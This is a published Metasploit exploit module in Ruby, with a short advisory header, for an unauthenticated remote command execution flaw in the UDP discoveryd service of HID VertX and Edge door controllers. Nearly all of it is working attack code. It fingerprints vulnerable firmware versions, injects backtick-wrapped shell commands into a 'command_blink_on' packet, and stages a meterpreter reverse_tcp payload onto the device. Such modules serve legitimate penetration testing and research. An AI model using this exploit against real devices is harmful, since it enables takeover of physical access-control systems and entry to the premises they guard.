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HID discoveryd command_blink_on Unauthenticated Remote Command Execution

HID discoveryd command_blink_on Unauthenticated Remote Command Execution
Posted Jul 7, 2018
Authored by Brendan Coles, coldfusion39, Ricky HeadlessZeke Lawshae | Site metasploit.com

This Metasploit module exploits an unauthenticated remote command execution vulnerability in the discoveryd service exposed by HID VertX and Edge door controllers. This Metasploit module was tested successfully on a HID Edge model EH400 with firmware version 2.3.1.603 (Build 04/23/2012).

tags | exploit, remote
MD5 | e118b7fe52dd732ff59de4e2ac893248

HID discoveryd command_blink_on Unauthenticated Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Udp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'HID discoveryd command_blink_on Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated remote command execution
vulnerability in the discoveryd service exposed by HID VertX and Edge
door controllers.

This module was tested successfully on a HID Edge model EH400
with firmware version 2.3.1.603 (Build 04/23/2012).
},
'Author' =>
[
'Ricky "HeadlessZeke" Lawshae', # Discovery
'coldfusion39', # VertXploit
'Brendan Coles' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Privileged' => true,
'References' =>
[
['ZDI', '16-223'],
['URL', 'https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/'],
['URL', 'http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html'],
['URL', 'https://exfil.co/2016/05/09/exploring-the-hid-eh400/'],
['URL', 'https://github.com/lixmk/Concierge'],
['URL', 'https://github.com/coldfusion39/VertXploit']
],
'DisclosureDate' => 'Mar 28 2016',
'DefaultOptions' =>
{
'WfsDelay' => 30,
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'echo'
},
'Targets' => [['Automatic', {}]],
'CmdStagerFlavor' => 'echo', # wget is available, however the wget command is too long
'DefaultTarget' => 0))
register_options [ Opt::RPORT(4070) ]
end

def check
connect_udp
udp_sock.put 'discover;013;'
res = udp_sock.get(5)
disconnect_udp

if res.to_s.eql? ''
vprint_error 'Connection failed'
return CheckCode::Unknown
end

hid_res = parse_discovered_response res
if hid_res[:mac].eql? ''
vprint_error 'Malformed response'
return CheckCode::Safe
end

@mac = hid_res[:mac]

vprint_good "#{rhost}:#{rport} - HID discoveryd service detected"
vprint_line hid_res.to_s
report_service(
host: rhost,
mac: hid_res[:mac],
port: rport,
proto: 'udp',
name: 'hid-discoveryd',
info: hid_res
)

if hid_res[:version].to_s.eql? ''
vprint_error "#{rhost}:#{rport} - Could not determine device version"
return CheckCode::Detected
end

# Vulnerable version mappings from VertXploit
vuln = false
version = Gem::Version.new(hid_res[:version].to_s)
case hid_res[:model]
when 'E400' # EDGEPlus
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'EH400' # EDGE EVO
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'EHS400' # EDGE EVO Solo
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'ES400' # EDGEPlus Solo
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'V2-V1000' # VertX EVO
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'V2-V2000' # VertX EVO
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'V1000' # VertX Legacy
vuln = true if version <= Gem::Version.new('2.2.7.568')
when 'V2000' # VertX Legacy
vuln = true if version <= Gem::Version.new('2.2.7.568')
else
vprint_error "#{rhost}:#{rport} - Device model was not recognized"
return CheckCode::Detected
end

vuln ? CheckCode::Appears : CheckCode::Safe
end

def send_command(cmd)
connect_udp

# double escaping for echo -ne stager
encoded_cmd = cmd.gsub("\\", "\\\\\\")

# packet length (max 44)
len = '044'

# <num> of times to blink LED, if the device has a LED; else
# <num> second to beep (very loudly) if the device does not have a LED
num = -1 # no beep/blink ;)

# construct packet
req = ''
req << 'command_blink_on;'
req << "#{len};"
req << "#{@mac};"
req << "#{num}`#{encoded_cmd}`;"

# send packet
udp_sock.put req
res = udp_sock.get(5)
disconnect_udp

unless res.to_s.start_with? 'ack;'
fail_with Failure::UnexpectedReply, 'Malformed response'
end
end

def execute_command(cmd, opts)
# the protocol uses ';' as a separator,
# so we issue each system command separately.
# we're using the echo command stager which hex encodes the payload,
# so there's no risk of replacing any ';' characters in the payload data.
cmd.split(';').each do |c|
send_command c
end
end

def exploit
print_status "#{rhost}:#{rport} - Connecting to target"

check_code = check
unless check_code == CheckCode::Appears || check_code == CheckCode::Detected
fail_with Failure::Unknown, "#{rhost}:#{rport} - Target is not vulnerable"
end

# linemax is closer to 40,
# however we need to account for additinal double escaping
execute_cmdstager linemax: 30, :temp => '/tmp'
end

def parse_discovered_response(res)
info = {}

return unless res.start_with? 'discovered'

hid_res = res.split(';')
return unless hid_res.size == 9
return unless hid_res[0] == 'discovered'
return unless hid_res[1].to_i == res.length

{
:mac => hid_res[2],
:name => hid_res[3],
:ip => hid_res[4],
# ? => hid_res[5], # '1'
:model => hid_res[6],
:version => hid_res[7],
:version_date => hid_res[8]
}
end
end
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